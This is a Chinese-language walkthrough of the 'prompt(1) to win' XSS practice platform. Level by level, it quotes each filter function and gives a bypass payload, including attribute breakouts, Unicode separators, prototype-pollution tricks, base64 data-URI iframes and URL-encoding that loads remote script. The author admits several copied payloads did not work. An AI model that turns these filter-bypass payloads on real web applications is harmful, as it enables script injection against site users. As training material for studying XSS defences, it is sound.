prompt(1) to win是一個xss練習平台。
鏈接地址:http://prompt.ml/0
規則:
1、成功執行prompt(1)即可獲勝,payload不需要用戶交互,若成功執行,界面會顯示YOUWON。
2、每個payload均需要在以下瀏覽器測試:Chrome(最新版)、Firefox(最新版)、IE10
3、雖然大多數級別都具有所有瀏覽器解決方案,但有些可能沒有。確保每個級別都有至少兩個瀏覽器的解決方案。
4、最后但並非最不重要的一點是,有效載荷占用的字符較少。
Level 0 沒有過濾
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
題目分析:沒有任何過濾。
Payload:
"><script>prompt(1)</script><!--
Level 1 <內容>過濾
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
題目分析:這里將<>之間進行匹配,然后替換成空,所以不能出現>。
Payload:
//可以用//注釋繞過,相當於繞過了> <img src=1 onerror=prompt(1)// <body onload=prompt(1)// <svg/onload=prompt(1)
Level 2 =(過濾
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
題目分析:過濾了等號=和右括號(。
Payload:
//使用SVG標簽,會提前將將XML實體解析再加入標簽。這里的 ( 是 ( 的Unicode編碼。
<svg><script>prompt(1)</script>
//調用js中的eval函數
<script>eval.call`${'prompt\x281)'}`</script>
<script>eval.call`${'alert\x281)'}`</script>
<script>eval`${alert`1`}`</script>
<script>alert`1`</script>
Level 3 ->繞過
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
題目分析:這個是將->替換成_,並要求繞過注釋。因此只要想辦法閉合注釋即可,html可以-->或--!>閉合注釋。
Payload:
--!><script>prompt(1)</script>
Level 4 同源的正則過濾
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
題目分析:這里通過限制src的值的開頭必須為http://prompt.ml/,來達到src的值必須為同源的腳本的目的,查找資料發現可以利用url的特性繞過.
瀏覽器支持這樣的url:user:password@attacker.com。意思是使用user:password登錄到站點attacker.com.
舉例如下:admin:123456@www.baidu.com,意即使用用戶名admin和密碼123456登錄到百度站點。
當然這個url也可以簡化為user@attacker.com,即省略密碼。
因此我們在構造http://prompt.ml/@attacker.com類似的Payload,將http://prompt.ml/作為user,attack.com理所應當就是我們自己的服務器,這樣就繞過了同源限制。
但是這個payload還不行,因為 / 出現在user中是不允許的。考慮到這里的正則特性和decodeURIComponent函數,所以可以使用%2f繞過。
Payload:
http://prompt.ml%2f@172.16.73.66/test/1.js
Level 5 input_value限制
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
題目分析:過濾了>、onxxxx=和focus,所以在這里無法使用autofocus了。但是這里可以將input標簽的type類型覆蓋了,比如說將之覆蓋成image類型,然后可以利用οnerrοr=,使用換行繞過即可。
Payload:
" type=image src onerror =prompt(1)
Level 6 表單提交action過濾
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
題目分析:通過代碼和注釋可以看出來,題目構造post表單,我們需要輸入的格式為formURL#formDataJSON,比如http://httpbin.org/post#{"name":"Matt"},具體過程是先提取formURL構造form表單,formURL賦值給form標簽中的action,然后post內容構造input標簽。
我們想嵌入代碼,經常能見到類似action=”javascript:alert(1)”的內容,但是后面還過濾了document.form[0].action內容,過濾了script和data。如下圖所示

但是過濾存在缺陷,由於存在子級tag,action 將會優先指向name為action的子tag。
所以我們在構造payload時,可以將input標簽的name屬性值設置為action,這樣document.form[0].action指向的就不是form標簽中的action了,因此過濾也就不起作用了。神奇吧。
Payload:
javascript:prompt(1)#{"action":"Matt"}
Level 7 連續輸出長度限制
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
題目分析:題目根據#分離,每一部分賦給一個title,如果超過12字符,就截取前12個。舉例
可以使用注釋繞過長度限制
"><script>/*#*/prompt(1/*#*/)</script> "><svg/a=#"onload='/*#*/prompt(1)'
Level 8 換行符過濾
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
題目分析:過濾了\r、\n、<、/、和"。返回了// console.log("' + input + '");。所以需要繞過過濾規則逃脫出雙引號或者本行。
這里過濾了兩個換行符,所以用到了一個特殊的編碼技巧:
U+2028,是Unicode中的行分隔符。 U+2029,是Unicode中的段落分隔符。 –> 在 js 中可當注釋使用
很多人說原來的payload沒用,我來告訴大家如何生成payload。
首先用chrome F12打開開發者選項,然后利用console模塊,輸入
'\u2028prompt(1)\u2028-->'
得到一個東西,將之復制下來就是payload!

Level 9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
題目分析:這里的正則表達式,將 < 后面的第一個字母前加 _ ,比如說將<script>這樣的標簽替換為<_SCRIPT>。
經過查資料發現這里的關鍵在於toUpperCase()不僅轉換英文字母,也轉換一些Unicode字符,比如將 ſ 傳入就可以轉換為 S ,這樣就可以繞過。
直接構造<ſcript>prompt(1)</ſcript>不行,因為javascript對大小寫敏感,,不識別PROMPT(1)。
所以構造的payload為<ſcript/ſrc="xxx/1.js"></ſcript>,經過轉換后就成了<h1><SCRIPT/SRC="XXX/1.JS"></SCRIPT></h1>,成功加載遠程的js腳本。

Level 10
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
題目分析:進行了html編碼,然后將prompt替換為alert,並且過濾了單引號。
注:encodeURIComponent()不會對 ASCII 字母和數字進行編碼,也不會對這些 ASCII 標點符號進行編碼: - _ . ! ~ * ' ( ) 。其他字符(比如:;/?:@&=+$,# 這些用於分隔 URI 組件的標點符號),都是由一個或多個十六進制的轉義序列替換的。
Payload:
p'rompt(1)
Level 11
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
題目分析:本題正則過濾了大量的符號。
第一個思路是利用js的一個特性進行繞過。在js中,鍵名相同,輸出后值是后面的變量的值。
可以通過下面這個例子來理解
>var array={"n":1,"n":2}
>array.n
>2
因此構造思路是構造 ","message":"prompt(1)" ,可是正則表達式中過濾了冒號,所以這種方法不可取,只能另想辦法。
另一個思路是,利用js的一個神奇的語法。
在js中,(prompt(1))instanceof"1"和 (prompt(1))in"1" 是可以成功彈窗的(可以自己在console試一下),其中雙引號里面的1可以是任何字符,這里的in或者instanceof是運算符,所以可以有這樣的語法結構。

Payload:
"(prompt(1))in" "(prompt(1))instanceof"
另外補充一個知識點,"1"(alert(1))雖然會提示語法錯誤, 但是還是會執行js語句彈框。

Level 12
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
題目分析:跟第0x10題好像,但是過濾了',所以只能試試編碼或是函數,想到sql中有那種利用函數轉換成字符的,嘗試一下

Payload:
eval((630038579).toString(30))(1)
還有很多可以構造的
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))) eval((25).toString(30).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
在控制台輸入for((i)in(self))console.log(i),可以看到self包含了所有當前窗體的函數和變量,執行window.self也可以獲得一樣的結果。
Level 13
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
題目分析:JSON.parse()函數要接受一個json格式的字符串返回json格式的對象,如果傳入的參數已經是json格式則會拋出異常,傳入的參數被解析成json格式,格式不對則直接返回Invalid image data.,再經由extend()函數處理,extend()函數把默認值替換為指定的值后返回,然后是一個正則判斷source對應的值中是否有不屬於url的符號,有則刪去這個值,將source屬性刪除。
每個對象都會在其內部初始化一個屬性,就是proto,當我們訪問對象的屬性時,如果對象內部不存在這個屬性,那么就會去proto里面找這個屬性。
舉例測試:
b={"a":1,"__proto__":{"a":2}}

那么基本上就是構造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}},由於前面有非法字符',則會刪除,但是在替換的時候由於過濾了",無法閉合,那么正好有一種特殊的替換方式

測試一下

Payload:
{"source":"'","__proto__":{"source":"$`onerror=prompt(1)>"}}

太巧妙了!
Level 14
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
題目分析:函數先把輸入轉換為大寫,第二層將//和字母換為data:,第三層將\\、&、+、%和空白字符,vbs替換為_,所以不能內嵌編碼后的字符,由於js大小寫敏感,所以只能引用外部腳本。Data URI是由RFC 2397定義的一種把小文件直接嵌入文檔的方案。格式如下:
data:[<MIME type>][;charset=<charset>][;base64],<encoded data>
其實整體可以視為三部分,即聲明:參數+數據,逗號左邊的是各種參數,右邊的是數據。
MIME type,表示數據呈現的格式,即指定嵌入數據的MIME。
- 1、對於PNG的圖片,其格式是image/png,如果沒有指定,默認是text/plain。
- 2、character set(字符集)大多數被忽略,默認是charset=US-ASCII。如果指定是的數據格式是圖片時,字符集將不再使用。
- 3、base64,這一部分將表明其數據的編碼方式,此處為聲明后面的數據的編碼是base64,我們可以不必使用base64編碼格式,如果那樣,我們將使用標准的URL編碼方式,形如%XX%XX%XX的格式。
由於本題的輸入全被轉換成大寫的,正常的payload是無法被解析,老實說這題的官方答案都無法成功執行,看解釋的大概意思我猜是火狐瀏覽器是可以支持大寫的base64的解析,然后精心構造一個大寫的base64編碼,解碼后恰好可以達到上面的效果,便能夠成功執行,但是我實驗后是失敗的,我看其他人的wp也都說失敗了,不是很清楚具體原因是什么。
參考Payload:
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
Level 15
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
題目分析:跟Level 7差不多,但是過濾了/*,這樣就是構造關於<!---->的注釋即可
Payload:
(1)不太明白為什么前面一定要加<svg>標簽才會執行
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
(2)在FireFox和IE瀏覽器,最后的</script>不必要
"><svg><!--#--><script><!--#-->prompt(1)</
(3)還有一種利用模板字符串的方法
"><script>`#${prompt(1)}#`</script>
模板字符串 知識點:
1.反撇號字符 ` 代替普通字符串的引號 ' 或 ",提供了字符串插值功能
2.${x}被稱為模板占位符,JavaScript 將把 x 的值插入到最終生成的字符串中,也就是說`abcd${alert(1)}efgh`是可以正常執行的

參考:
http://www.infoq.com/cn/articles/es6-in-depth-template-string
https://en.wikipedia.org/wiki/String_interpolation
PS:以下3關直接copy了大神的答案,結果既沒執行成功,又沒看懂,我太難了!!!
Hidden Level -1
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');
return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}
題目分析:這里可以看到過濾了<,},而且判斷長度必須大於1337,所以用到js函數提升,還用到了一個前面提到的關於replace的匹配技巧。
參考:https://blog.csdn.net/qq_39712029/article/details/80951958
在console測試一下如下代碼:
function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A){
alert('Function declared with ' + history.length + " parameters");
}
history();

看來是可以繞過大於1337,之后利用$&來替換prompt(1)
參考Payload:
function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A)$&prompt(1)we
竟然沒成功。。。
Hidden Level -2
function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');
return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}
參考Payload:
"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>
Hidden Level -3
function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}
參考Payload:
"onclick=prompt(1) id="a";callback=a.click;
參考:
https://blog.csdn.net/qq_35078631/article/details/77073233
https://blog.csdn.net/Ni9htMar3/article/details/77938899?utm_source=blogxgwz1
